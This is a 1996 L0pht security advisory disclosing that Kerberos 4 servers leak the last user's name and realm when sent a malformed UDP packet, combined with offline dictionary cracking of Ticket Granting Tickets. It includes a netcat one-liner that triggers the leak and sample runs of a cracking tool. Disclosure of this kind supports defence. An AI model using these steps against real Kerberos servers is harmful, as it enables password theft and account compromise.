L0pht Advisory


                           L0pht Security Advisory
                       Advisory released Nov 22 1996

                           Application: Kerberos4

                  Vulnerability Scope: Sites running Kerb4

                Severity: remote users can dictionary crack 
                   kerberos user accounts without needing 
                 to know the username or kerberos realm name

                          Author: mudge@l0pht.com

Scenario:

  It has long been known that Kerberos 4 Ticket Granting Tickets are
susceptible to dictionary attacks as they contain a constant string
that can be used for compares (the string happens to be "krbtgt"). Thus it h
as always been possible to; querry a Kerberos server, hand in a 
valid principle (user and kerberos realm), recieve a Ticket Granting Ticket, 
decrypt the DES ticket using dictionary words for the key, if the phrase 
"krbtgt" exists in the decrypted packet you have the correct key. This exact
attack has been going on for some time in certain circles. In particular
it seems to work quite well on dialup servers using kerberos for
password authentication.

The results usually end up looking more or less like this:
---
users file:
---
johndoe
markg
sally
 
---
pass file:
---
love
sex
secret
 
% ./k4 -S -h kerb.server.com -r REALM -u users -f pass
Username: sally
Realm: THEK4REALM
Password: love
-------- 


  The problem with the above is the need for a userlist and the
kerberos realm name in order to mount the attack. If the site is
running kerberos it might be that they have a clue and are at least
slightly security conscious so there is a strong possibility that they
have services like finger and rusers turned off to the outside world.
You could sniff incoming and outgoing e-mail for usernames or do a little
social engineering but lo-and-behold there's a much easier way. And guess
what -- due to the herculean effort that is required to setup Kerberos
people want to get the most mileage out of it once it is in place. This
includes leaving it open through filters and firewalls to allow outside
users to authenticate and come in. Naughty Naughty Naughty!

The new Bug:

  It turns out that upon receiving a malformed UDP packet the kerberos4
server returns a packet containing an error string and the principle
from some un-sanitized data structures. A perfect example is a udp 
packet containing a null. Since you are not handing in as much data as it 
is expecting the pointer to the re-used structure references
the un-purged principle information. This un-sanitized data contains
the name of the last user to request a TGT and the kerberos Realm name.
Needless to say, this is all the information you need to then request
a tgt for that user and dictionary attack the response. Welcome to the
world of 'buffer underflows'.

What our program does is builds up a linked list of principle structures.
It repeatedly queries the Kerberos server and updates the list each time a 
new user has gone through. It then constructs a valid TGT request for the
last user it saw and requests their TGT, proceeding to crack upon it.

A sample run utilizing this information leak follows:

% ./k4 -D -h kerb.server.com -f pass
bboy:THEK4REALM:BF7ECF2A2AC21DBAEC1827C28BA828372FD951 
..........
sally:THEK4REALM:AACEF2372192762768797987FE821AC1825387
-----
Username: sally
Realm: REALM
Password: love
----- 

....recieved interrupt... dumping linked list...
Record number 1
Username: bjoy
realm: REALM
passwd:
tgt: BF7ECF2A2AC21DBAEC1827C28BA828372FD951
Record number 2
Username: sally
realm: REALM
Passwd: love
tgt: AACEF2372192762768797987FE821AC1825387

A sample that everyone can do:

  nc -v -u kerberos.server.com 750
  kerberos.server.com [xxx.xxx.xxx.xxx] 750 (?) open

  [type a c/r]

  jdoeTHEK4REALM2
  Kerberos error -- KRB prot version mismatch: KRB =4 request = 10 punt!

 Guess what... jdoe was the last person through here and the realm is 
 THEK4REALM - you can now use this information to form a TGT request
 and away you go...

errata:
  This data leak does not exist in kerberos5 nor does it seem to be in kerb5 
running in kerb4 compatibility mode. Unfortunately many sites still use
kerb4 due to their legacy systems and the incompatibillity between
the two versions. OpenBSD is the only OS distribution that I am aware
of that already has this problem fixed.

mudge@l0pht.com